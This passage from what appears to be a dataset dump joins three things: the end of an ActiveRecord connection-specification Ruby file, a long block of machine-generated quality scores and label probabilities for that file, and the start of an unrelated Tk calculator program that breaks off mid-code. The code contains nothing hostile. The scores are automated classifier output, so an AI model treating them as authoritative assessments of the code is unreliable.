'rubygems'\n gem \"activerecord-#{spec[:adapter]}-adapter\"\n require \"active_record/connection_adapters/#{spec[:adapter]}_adapter\"\n rescue LoadError\n begin\n require \"active_record/connection_adapters/#{spec[:adapter]}_adapter\"\n rescue LoadError\n raise \"Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{$!})\"\n end\n end\n\n adapter_method = \"#{spec[:adapter]}_connection\"\n if !respond_to?(adapter_method)\n raise AdapterNotFound, \"database configuration specifies nonexistent #{spec[:adapter]} adapter\"\n end\n\n remove_connection\n establish_connection(ConnectionSpecification.new(spec, adapter_method))\n end\n end\n\n class << self\n # Deprecated and no longer has any effect.\n def allow_concurrency\n ActiveSupport::Deprecation.warn(\"ActiveRecord::Base.allow_concurrency has been deprecated and no longer has any effect. Please remove all references to allow_concurrency.\")\n end\n\n # Deprecated and no longer has any effect.\n def allow_concurrency=(flag)\n ActiveSupport::Deprecation.warn(\"ActiveRecord::Base.allow_concurrency= has been deprecated and no longer has any effect. Please remove all references to allow_concurrency=.\")\n end\n\n # Deprecated and no longer has any effect.\n def verification_timeout\n ActiveSupport::Deprecation.warn(\"ActiveRecord::Base.verification_timeout has been deprecated and no longer has any effect. Please remove all references to verification_timeout.\")\n end\n\n # Deprecated and no longer has any effect.\n def verification_timeout=(flag)\n ActiveSupport::Deprecation.warn(\"ActiveRecord::Base.verification_timeout= has been deprecated and no longer has any effect. Please remove all references to verification_timeout=.\")\n end\n\n # Returns the connection currently associated with the class. This can\n # also be used to \"borrow\" the connection to do database work unrelated\n # to any of the specific Active Records.\n def connection\n retrieve_connection\n end\n\n def connection_pool\n connection_handler.retrieve_connection_pool(self)\n end\n\n def retrieve_connection\n connection_handler.retrieve_connection(self)\n end\n\n # Returns true if +ActiveRecord+ is connected.\n def connected?\n connection_handler.connected?(self)\n end\n\n def remove_connection(klass = self)\n connection_handler.remove_connection(klass)\n end\n\n delegate :clear_active_connections!, :clear_reloadable_connections!,\n :clear_all_connections!,:verify_active_connections!, :to => :connection_handler\n end\n end\nend\n", "text_preview": "module ActiveRecord class Base class ConnectionSpecification #:nodoc: attr_reader :config, :adapter_method def initialize (config, adapter_method) @config, @adapter_method = config, adapter_method end end ## # :singleton-method: # The conne", "input_sha256": "2eed5a1956de4ae9a8f12ebc11092df8abeda39db239ceca3be9045e9def352b", "text_sha256": "7c2937a7e92d6696b5a581585655dbe380d6aa65a02177660840ef2682bec5f7", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16091, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1810656278262521, "noise_severity": 0.026250405225310147, "missing_content_severity": 0.06884190161873244, "factual_density": 3.366029231817546, "pretraining_utility": 0.4489608383763178, "math_density": 0.008971118817168765, "code_density": 3.7284189446840963, "reasoning_density": 0.49381419264621096, "education_level": 2.60984749802778, "creative_writing_quality": -0.13326003361853636}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.014090776642308733, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9962733420975177, "secondary": 0.9080726559762639, "tertiary": 0.9227760750812816, "structured_records": 0.019399037457428506, "procedural_steps": 0.0535981417355623, "worked_solution": 0.0018890009529570243, "contextual_dialogue": 4.888101947583251e-06, "content_quality": 0.5673521122416687, "noise_severity": 0.9781246623122415, "missing_content_severity": 0.9426317486510563, "factual_density": 0.4716910265146218, "pretraining_utility": 0.4437257028520528, "math_density": 0.9925240676523593, "code_density": 0.7736824539034133, "reasoning_density": 0.5884881727948243, "education_level": 0.3588373449929197, "creative_writing_quality": 0.9993875452077086, "primary_topic": 0.9906779744439527, "secondary_topic": 0.9301698762788875}, "probability_margin": {"primary": 0.9943673486632894, "secondary": 0.8589174092899322, "tertiary": 0.8796692757752338, "education_level": 0.037389022771187, "creative_writing_quality": 0.9992303024380341, "primary_topic": 0.9836930911142545, "secondary_topic": 0.8969430099057565}, "raw_probabilities": {"primary": {"Academic Writing": 2.449342056756104e-05, "Content Listing": 1.9408726450560058e-05, "Creative Writing": 1.0219261114817656e-05, "Customer Support Page": 3.908047306999911e-05, "Q&A Forum": 1.0162387270302852e-05, "Discussion Thread": 5.863907647224233e-06, "Comment Section": 1.1252776975757115e-05, "Missing Content": 2.5440021350402583e-05, "Knowledge Article": 0.0001755102859772659, "Legal Notices": 2.38444150033995e-05, "News Article": 4.004197359924344e-06, "Organizational Announcement": 1.0367102517046541e-05, "Nonfiction Writing": 8.867063697758478e-06, "Organizational About Page": 1.06860295263821e-05, "Personal About Page": 7.438816057236257e-06, "Personal Blog": 5.822631746692909e-06, "Product Page": 7.008807816666184e-06, "Spam / Ads": 6.54170536774615e-06, "Structured Data": 0.0006018937302702677, "Technical Writing": 0.9964286195101212, "Transcript / Interview": 1.1911768795573587e-05, "Tutorial / How-To Guide": 0.002061270846831819, "User Reviews": 5.246264102347645e-06, "Other / Unknown": 0.00048504585036199206}, "secondary": {"Academic Writing": 0.0003467369354293915, "Content Listing": 0.0003029720445360337, "Creative Writing": 0.0002838171125375162, "Customer Support Page": 0.0007438881161400441, "Q&A Forum": 0.00016298502027191827, "Discussion Thread": 0.0001141931740092838, "Comment Section": 0.00022259136792205915, "Missing Content": 0.0005163084858009058, "Knowledge Article": 0.002931261048677154, "Legal Notices": 0.0005335446565538321, "News Article": 0.0002164286671034008, "Organizational Announcement": 0.0002664885528747496, "Nonfiction Writing": 0.00019333135393104624, "Organizational About Page": 0.00021315464976928868, "Personal About Page": 0.00015316589979346259, "Personal Blog": 0.00014267172225833772, "Product Page": 0.00013034543066120957, "Spam / Ads": 0.00016381957982279167, "Structured Data": 0.003838815161312282, "Technical Writing": 0.023296007551265385, "Transcript / Interview": 0.0002454528845983513, "Tutorial / How-To Guide": 0.05298555268732063, "User Reviews": 9.350592015813783e-05, "NONE": 0.9119029619772528}, "tertiary": {"Academic Writing": 0.00024486656630109624, "Content Listing": 0.0001913053897725197, "Creative Writing": 0.00019559074255572962, "Customer Support Page": 0.0005824075266543119, "Q&A Forum": 9.278871458887072e-05, "Discussion Thread": 7.47606058746224e-05, "Comment Section": 0.00016251849143155355, "Missing Content": 0.0004578467624953109, "Knowledge Article": 0.0032154199303173784, "Legal Notices": 0.0014360759227783743, "News Article": 0.00013097566342250584, "Organizational Announcement": 0.0002461462180847083, "Nonfiction Writing": 0.0001400196875115787, "Organizational About Page": 0.00016384328933813626, "Personal About Page": 9.398500540882778e-05, "Personal Blog": 8.782914399624298e-05, "Product Page": 9.137045972643596e-05, "Spam / Ads": 0.00013605358706303902, "Structured Data": 0.002733263201983479, "Technical Writing": 0.017002240317355595, "Transcript / Interview": 0.00014652478932712345, "Tutorial / How-To Guide": 0.04632446284432772, "User Reviews": 5.596652012326303e-05, "NONE": 0.9259937386195615}, "structured_records": {"false": 0.9806009625425715, "true": 0.019399037457428506}, "procedural_steps": {"false": 0.9464018582644377, "true": 0.0535981417355623}, "worked_solution": {"false": 0.9981109990470429, "true": 0.0018890009529570243}, "contextual_dialogue": {"false": 0.9999951118980525, "true": 4.888101947583251e-06}, "content_quality": {"-2": 0.00389417930907871, "-1": 0.007979618927047896, "0": 0.14141414296054075, "1": 0.4965905122352077, "2": 0.3501215465681249}, "noise_severity": {"0": 0.977401769137525, "1": 0.020012852518278598, "2": 0.0018083398598711883, "3": 0.0004872809500119805, "4": 0.0002897575343133072}, "missing_content_severity": {"0": 0.941793013440494, "1": 0.05020407793116509, "2": 0.005827674941610634, "3": 0.0017184609425745544, "4": 0.00045677274415560095}, "factual_density": {"0": 0.002754267326764988, "1": 0.007259355422358416, "2": 0.09202946984465696, "3": 0.4171166929190047, "4": 0.48084021448721487}, "pretraining_utility": {"-2": 0.00815830753166575, "-1": 0.09389939788697073, "0": 0.39701044073167063, "1": 0.4426868563727655, "2": 0.05824499747692724}, "math_density": {"0": 0.9949177882706591, "1": 0.003340234703664178, "2": 0.0004958985786569889, "3": 0.00034522683188835396, "4": 0.0009008516151313867}, "code_density": {"0": 0.000402528755242403, "1": 0.0009496458791323186, "2": 0.026429491262467488, "3": 0.2142630201326025, "4": 0.7579553139705554}, "reasoning_density": {"0": 0.7376625051275414, "1": 0.1056642137616113, "2": 0.10126781452536646, "3": 0.036007516508055996, "4": 0.019397950077424654}, "education_level": {"none": 0.0012861117058273256, "0": 0.0016180867270380573, "1": 0.00739597464909449, "2": 0.4656977874940998, "3": 0.4283087647229128, "4": 0.09569327470102758}, "creative_writing_quality": {"not_applicable": 0.9994896210064238, "-2": 5.238613711143144e-05, "-1": 9.729149483916273e-05, "0": 0.00025931856838971314, "1": 6.871493925102932e-05, "2": 3.266785398444634e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.06614442740375e-05, "Art & Design": 5.0246898301524515e-05, "Law & Crime": 3.8976806051335766e-05, "Education & Careers": 3.875521047700153e-05, "Entertainment & Media": 2.6757867501002573e-05, "Fashion & Beauty": 2.1265935480061213e-05, "Business, Economics & Finance": 5.455094533179625e-05, "Food & Dining": 2.3701386937673287e-05, "Games & Gaming": 4.871973110110323e-05, "Electronics & Hardware": 0.00028922098588932783, "Health, Healthcare & Wellness": 2.285521918691509e-05, "History & Geography": 3.147004514893337e-05, "Home, Pets & Hobbies": 2.7288846017122552e-05, "Industry & Production": 3.163539491833266e-05, "Language, Literature & Philosophy": 6.148249523214421e-05, "Politics & Government": 1.7346209826714858e-05, "Religion & Spirituality": 2.8372392299541016e-05, "Science, Mathematics & Engineering": 0.0004689866164469241, "Relationships & Community": 1.8438109209109816e-05, "Software Usage & Applications": 0.007343422774161558, "Programming & Software Engineering": 0.9910365138884161, "Sports & Fitness": 4.612691430814679e-05, "Vehicles & Transportation": 1.920347061652964e-05, "Travel & Tourism": 3.5461686475493066e-05, "Other / Uncovered Subject": 0.00012346686610154386, "Unknown / Insufficient Content": 5.5071860290153665e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003111022330033592, "Art & Design": 0.00022765327791480453, "Law & Crime": 0.0002971897915991538, "Education & Careers": 0.00023371184033730508, "Entertainment & Media": 0.00023578928022485106, "Fashion & Beauty": 0.000131996200696166, "Business, Economics & Finance": 0.00030040906601764016, "Food & Dining": 0.00010814633332080136, "Games & Gaming": 0.0002068092484135082, "Electronics & Hardware": 0.0007431463445515882, "Health, Healthcare & Wellness": 0.00013326624687468727, "History & Geography": 0.00014609275126623356, "Home, Pets & Hobbies": 0.00011915177600415819, "Industry & Production": 0.00011297939913369325, "Language, Literature & Philosophy": 0.0002516186735149055, "Politics & Government": 0.00012009087598166555, "Religion & Spirituality": 0.0001562315757597804, "Science, Mathematics & Engineering": 0.001875132996719304, "Relationships & Community": 7.836956342916343e-05, "Software Usage & Applications": 0.03591264036240464, "Programming & Software Engineering": 0.02474622213803248, "Sports & Fitness": 0.00011416283608817566, "Vehicles & Transportation": 6.22931466011725e-05, "Travel & Tourism": 0.00017129423773746698, "Other / Uncovered Subject": 0.000348849536212057, "NONE": 0.9328556502681611}}, "probabilities": {"primary": {"Academic Writing": 2.4493420567561043e-05, "Content Listing": 1.940872645056006e-05, "Creative Writing": 1.0219261114817658e-05, "Customer Support Page": 3.9080473069999114e-05, "Q&A Forum": 1.0162387270302854e-05, "Discussion Thread": 5.8639076472242335e-06, "Comment Section": 1.1252776975757116e-05, "Missing Content": 2.5440021350402586e-05, "Knowledge Article": 0.00017551028597726593, "Legal Notices": 2.3844415003399505e-05, "News Article": 4.004197359924345e-06, "Organizational Announcement": 1.0367102517046543e-05, "Nonfiction Writing": 8.86706369775848e-06, "Organizational About Page": 1.0686029526382101e-05, "Personal About Page": 7.438816057236258e-06, "Personal Blog": 5.82263174669291e-06, "Product Page": 7.008807816666185e-06, "Spam / Ads": 6.5417053677461505e-06, "Structured Data": 0.0006018937302702678, "Technical Writing": 0.9964286195101213, "Transcript / Interview": 1.1911768795573589e-05, "Tutorial / How-To Guide": 0.0020612708468318195, "User Reviews": 5.246264102347646e-06, "Other / Unknown": 0.0004850458503619921}, "secondary": {"Academic Writing": 0.0003467369354293915, "Content Listing": 0.0003029720445360337, "Creative Writing": 0.0002838171125375162, "Customer Support Page": 0.0007438881161400441, "Q&A Forum": 0.00016298502027191827, "Discussion Thread": 0.0001141931740092838, "Comment Section": 0.00022259136792205915, "Missing Content": 0.0005163084858009058, "Knowledge Article": 0.002931261048677154, "Legal Notices": 0.0005335446565538321, "News Article": 0.0002164286671034008, "Organizational Announcement": 0.0002664885528747496, "Nonfiction Writing": 0.00019333135393104624, "Organizational About Page": 0.00021315464976928868, "Personal About Page": 0.00015316589979346259, "Personal Blog": 0.00014267172225833772, "Product Page": 0.00013034543066120957, "Spam / Ads": 0.00016381957982279167, "Structured Data": 0.003838815161312282, "Technical Writing": 0.023296007551265385, "Transcript / Interview": 0.0002454528845983513, "Tutorial / How-To Guide": 0.05298555268732063, "User Reviews": 9.350592015813783e-05, "NONE": 0.9119029619772528}, "tertiary": {"Academic Writing": 0.0002448665663010963, "Content Listing": 0.00019130538977251972, "Creative Writing": 0.00019559074255572965, "Customer Support Page": 0.000582407526654312, "Q&A Forum": 9.278871458887074e-05, "Discussion Thread": 7.476060587462241e-05, "Comment Section": 0.00016251849143155358, "Missing Content": 0.00045784676249531096, "Knowledge Article": 0.003215419930317379, "Legal Notices": 0.0014360759227783745, "News Article": 0.00013097566342250587, "Organizational Announcement": 0.00024614621808470837, "Nonfiction Writing": 0.00014001968751157872, "Organizational About Page": 0.0001638432893381363, "Personal About Page": 9.39850054088278e-05, "Personal Blog": 8.782914399624299e-05, "Product Page": 9.137045972643597e-05, "Spam / Ads": 0.00013605358706303904, "Structured Data": 0.0027332632019834795, "Technical Writing": 0.0170022403173556, "Transcript / Interview": 0.00014652478932712347, "Tutorial / How-To Guide": 0.04632446284432773, "User Reviews": 5.5966520123263035e-05, "NONE": 0.9259937386195616}, "structured_records": {"false": 0.9806009625425715, "true": 0.019399037457428506}, "procedural_steps": {"false": 0.9464018582644377, "true": 0.0535981417355623}, "worked_solution": {"false": 0.9981109990470429, "true": 0.0018890009529570243}, "contextual_dialogue": {"false": 0.9999951118980525, "true": 4.888101947583251e-06}, "content_quality": {"-2": 0.00389417930907871, "-1": 0.007979618927047896, "0": 0.14141414296054075, "1": 0.4965905122352077, "2": 0.3501215465681249}, "noise_severity": {"0": 0.977401769137525, "1": 0.020012852518278598, "2": 0.0018083398598711883, "3": 0.0004872809500119805, "4": 0.0002897575343133072}, "missing_content_severity": {"0": 0.9417930134404942, "1": 0.050204077931165096, "2": 0.005827674941610635, "3": 0.0017184609425745546, "4": 0.000456772744155601}, "factual_density": {"0": 0.002754267326764988, "1": 0.007259355422358416, "2": 0.09202946984465696, "3": 0.4171166929190047, "4": 0.48084021448721487}, "pretraining_utility": {"-2": 0.008158307531665751, "-1": 0.09389939788697074, "0": 0.3970104407316707, "1": 0.44268685637276556, "2": 0.05824499747692725}, "math_density": {"0": 0.9949177882706591, "1": 0.003340234703664178, "2": 0.0004958985786569889, "3": 0.00034522683188835396, "4": 0.0009008516151313867}, "code_density": {"0": 0.000402528755242403, "1": 0.0009496458791323186, "2": 0.026429491262467488, "3": 0.2142630201326025, "4": 0.7579553139705554}, "reasoning_density": {"0": 0.7376625051275415, "1": 0.10566421376161132, "2": 0.10126781452536648, "3": 0.036007516508056, "4": 0.019397950077424658}, "education_level": {"none": 0.0012861117058273256, "0": 0.0016180867270380573, "1": 0.00739597464909449, "2": 0.4656977874940998, "3": 0.4283087647229128, "4": 0.09569327470102758}, "creative_writing_quality": {"not_applicable": 0.9994896210064242, "-2": 5.238613711143146e-05, "-1": 9.729149483916277e-05, "0": 0.00025931856838971325, "1": 6.871493925102935e-05, "2": 3.2667853984446354e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.06614442740375e-05, "Art & Design": 5.0246898301524515e-05, "Law & Crime": 3.8976806051335766e-05, "Education & Careers": 3.875521047700153e-05, "Entertainment & Media": 2.6757867501002573e-05, "Fashion & Beauty": 2.1265935480061213e-05, "Business, Economics & Finance": 5.455094533179625e-05, "Food & Dining": 2.3701386937673287e-05, "Games & Gaming": 4.871973110110323e-05, "Electronics & Hardware": 0.00028922098588932783, "Health, Healthcare & Wellness": 2.285521918691509e-05, "History & Geography": 3.147004514893337e-05, "Home, Pets & Hobbies": 2.7288846017122552e-05, "Industry & Production": 3.163539491833266e-05, "Language, Literature & Philosophy": 6.148249523214421e-05, "Politics & Government": 1.7346209826714858e-05, "Religion & Spirituality": 2.8372392299541016e-05, "Science, Mathematics & Engineering": 0.0004689866164469241, "Relationships & Community": 1.8438109209109816e-05, "Software Usage & Applications": 0.007343422774161558, "Programming & Software Engineering": 0.9910365138884161, "Sports & Fitness": 4.612691430814679e-05, "Vehicles & Transportation": 1.920347061652964e-05, "Travel & Tourism": 3.5461686475493066e-05, "Other / Uncovered Subject": 0.00012346686610154386, "Unknown / Insufficient Content": 5.5071860290153665e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00031110223300335923, "Art & Design": 0.00022765327791480456, "Law & Crime": 0.00029718979159915385, "Education & Careers": 0.0002337118403373051, "Entertainment & Media": 0.00023578928022485108, "Fashion & Beauty": 0.00013199620069616604, "Business, Economics & Finance": 0.0003004090660176402, "Food & Dining": 0.00010814633332080137, "Games & Gaming": 0.00020680924841350823, "Electronics & Hardware": 0.0007431463445515883, "Health, Healthcare & Wellness": 0.0001332662468746873, "History & Geography": 0.00014609275126623359, "Home, Pets & Hobbies": 0.0001191517760041582, "Industry & Production": 0.00011297939913369326, "Language, Literature & Philosophy": 0.0002516186735149056, "Politics & Government": 0.00012009087598166557, "Religion & Spirituality": 0.00015623157575978043, "Science, Mathematics & Engineering": 0.0018751329967193042, "Relationships & Community": 7.836956342916344e-05, "Software Usage & Applications": 0.035912640362404644, "Programming & Software Engineering": 0.024746222138032483, "Sports & Fitness": 0.00011416283608817567, "Vehicles & Transportation": 6.229314660117251e-05, "Travel & Tourism": 0.000171294237737467, "Other / Uncovered Subject": 0.00034884953621205705, "NONE": 0.9328556502681612}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999996, "mass_delta": -4.440892098500626e-16, "missing_mass": 4.440892098500626e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9706, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9706, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:10.019162+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f302df73-7387-4159-a0de-091ec02e2e32", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8210284addbc8ef2bc5b8cefa798ba3aa48d9b71a932f0f3aaa2549b6eb683ea", "source_metadata": {"uuid": "f302df73-7387-4159-a0de-091ec02e2e32", "repo_name": "phracker/MacOSX-SDKs", "relative_path": "MacOSX10.6.sdk/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8/gems/activerecord-2.3.5/lib/active_record/connection_adapters/abstract/connection_specification.rb", "category": "TOOL", "algo_rel_score": 0.9596236944198608, "quality_score": 6.052441596984863, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 57, "repo_created_at": "2013-10-15T17:41:33.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2635, "forks": 653, "issues": 16, "pull_requests": 3}, "file_meta": {"content_id": "2e8b51598feb334d2313f2c864d5173b328a342b", "size_bytes": 5241, "file_timestamp": 1620069985, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "041600eda65c6a668f66cb7d56b7d1da3e8bcc93"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 57, "repo_created_at": "2013-10-15T17:41:33.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2635, "forks": 653, "issues": 16, "pull_requests": 3}, "file_meta": {"content_id": "2e8b51598feb334d2313f2c864d5173b328a342b", "size_bytes": 5241, "file_timestamp": 1620069985, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "041600eda65c6a668f66cb7d56b7d1da3e8bcc93", "url": "https://github.com/phracker/MacOSX-SDKs/blob/041600eda65c6a668f66cb7d56b7d1da3e8bcc93/MacOSX10.6.sdk/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8/gems/activerecord-2.3.5/lib/active_record/connection_adapters/abstract/connection_specification.rb"}, "gpt4o_tokens": 1103, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1810656278262521, "noise_severity": 0.026250405225310147, "missing_content_severity": 0.06884190161873244, "factual_density": 3.366029231817546, "pretraining_utility": 0.4489608383763178, "math_density": 0.008971118817168765, "code_density": 3.7284189446840963, "reasoning_density": 0.49381419264621096, "education_level": 2.60984749802778, "creative_writing_quality": -0.13326003361853636}, "score_applicability": {"education_level": 0.9987138882941727, "creative_writing_quality": 0.0005103789935757832}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/DieynabouD/CSE3901-Project/blob/2692a2e1c4034124492787e761c8aa22e40eab5e/Calculator_gui.rb", "id": "ruby-0-a24cce47df0ed016b720425e38e9d5f4", "text": "require 'tk'\nrequire_relative 'MathFunctions'\nrequire_relative 'Arithmetic'\nrequire_relative 'BuiltMathFunctions'\nrequire_relative 'MathFunctions2'\nrequire_relative 'MathFunctions4'\nrequire_relative 'SquareAndCubeRoots'\nrequire_relative 'MathFunction3'\n# Create the main window\n\nroot = TkRoot.new { title \"Advanced Calculator\" \nbackground \"pink\" }\nroot.minsize(600, 800)\n\n# Create a text variable to hold the expression entered by the user\ninput_var = TkVariable.new\n\n# Create a label to display the result\nresult_var = TkVariable.new(\"Result: \") \n\n# Entry field where the user enters the expression\nTkEntry.new(root, 'textvariable' => input_var, 'font' => 'Arial 15 bold', 'justify' => 'right').pack('side' => 'top', 'fill' => 'x')\n\n# Label to show the result\nTkLabel.new(root, 'textvariable' => result_var, 'font' => 'Arial 15 bold', 'background' => 'pink' ).pack('side' => 'top')\n\n# Evaluate expressions, including handling parentheses and operator precedence\ndef evaluate_expression(input_var, result_var)\n expression = input_var.value\n\n # Function to check if the expression contains consecutive operators\n def valid_expression?(expression)\n # Return false if there are two consecutive operators (except for negative numbers)\n !!(/[\\+\\-\\*\\/\\^%]{2,}/.match(expression)) == false && \n # Ensure the expression does not start or end with an operator (except for parentheses)\n !!(/^[\\+\\*\\/\\^%]/.match(expression)) == false && \n !!(/[\\+\\*\\/\\^%]$/.match(expression)) == false\n end\n\n # Check if the expression is valid\n unless valid_expression?(expression)\n result_var.value = \"Error: Invalid expression\"\n return\n end\n\n # Function to perform basic arithmetic\n def apply_operator(operator, a, b)\n case operator\n when '+'\n return addition(a, b)\n when '-'\n return subtraction(a, b)\n when '*'\n return multiply(a, b)\n when '/'\n return division(a, b) # Division method will handle zero case\n when '^'\n return exponent(a, b)\n when '%'\n return modulo(a, b)\n else\n raise \"Unsupported operator #{operator}\"\n end\n end\n\n # Function to handle parentheses recursively\n def evaluate_parentheses(expression)\n while expression.include?('(')\n expression.sub!(/\\([^()]*\\)/) do |sub_expr|\n evaluate_basic(sub_expr[1..-2]) # Remove parentheses and evaluate\n end\n end\n evaluate_basic(expression) # Evaluate the remaining expression\n end\n\n # Function to evaluate expressions without parentheses, considering operator precedence\n def evaluate_basic(expression)\n # Handle multiplication, division, exponentiation, and modulus first (operator precedence)\n while expression =~ /(-?\\d+\\.?\\d*)([\\*\\^\\/%])(-?\\d+\\.?\\d*)/\n expression.gsub!(/(-?\\d+\\.?\\d*)([\\*\\^\\/%])(-?\\d+\\.?\\d*)/) do\n a = $1.to_f\n op = $2\n b = $3.to_f\n result = apply_operator(op, a, b)\n \n # Stop further evaluation if there's an error (e.g., division by zero)\n return result if result.is_a?(String) && result.include?(\"Error\")\n \n result\n end\n end\n\n # Handle arithmetic addition and subtraction\n while expression =~ /(-?\\d+\\.?\\d*)([\\+\\-])(-?\\d+\\.?\\d*)/\n expression.gsub!(/(-?\\d+\\.?\\d*)([\\+\\-])(-?\\d+\\.?\\d*)/) do\n a = $1.to_f\n op = $2\n b = $3.to_f\n apply_operator(op, a, b)\n end\n end\n\n expression.to_f\n end\n\n # Start by evaluating parentheses, then the rest\n result = evaluate_parentheses(expression)\n result_var.value = \"Result: #{result}\"\nend\n\n\n# Append to the expression when a button is pressed\ndef append_expression(input_var, value)\n input_var.value = input_var.value + value\nend\n\n# Clear the expression\ndef clear_expression(input_var, result_var)\n input_var.value = \"\"\n result_var.value = \"Result: \"\nend\n\nbutton_width = 10\nbutton_height = 1\n\n# Create the buttons for the calculator (numbers and operations)\nbutton_frame = TkFrame.new(root, 'background' => 'white').pack('side' => 'top', 'fill' => 'x')\n\n\n# Buttons for digits 1-9, 0, and operators\nbuttons = [\n ['7', '8', '9', '/', 'sin'],\n ['4', '5', '6', '*', 'cos'],\n ['1', '2', '3', '-', 'tan'],\n ['0', '.', '=', '+', 'C'],\n ['|x|', '%', '^', 'Evens', 'Odds'],\n ['Squares', 'Primes', 'Binary', 'Octal', 'Hexadecimal'], \n ['FtoC', 'isPrime', 'Fibonacci', 'log(base,a)'],\n ['Mean', 'Min', 'Max', 'Modes', 'Median'],\n ['SquareRoot', 'CubeRoot', '(', ')']\n]\n\nbuttons.each do |row|\n row_frame = TkFrame.new(button_frame, 'background' => 'pink').pack('side' => 'top', 'fill' => 'x')\n row.each do |char|\n TkButton.new(row_frame) do\n text char\n width button_width\n height button_height\n font 'Arial 15'\n background 'light pink'\n\n case char\n when '='\n command { evaluate_expression(input_var, result_var) }\n when 'C'\n command { clear_expression(input_var, result_var) }\n when 'sin', 'cos', 'tan', '|x|', 'FtoC', 'SquareRoot', 'CubeRoot'\n command do\n case char\n when 'sin'\n result_var.value 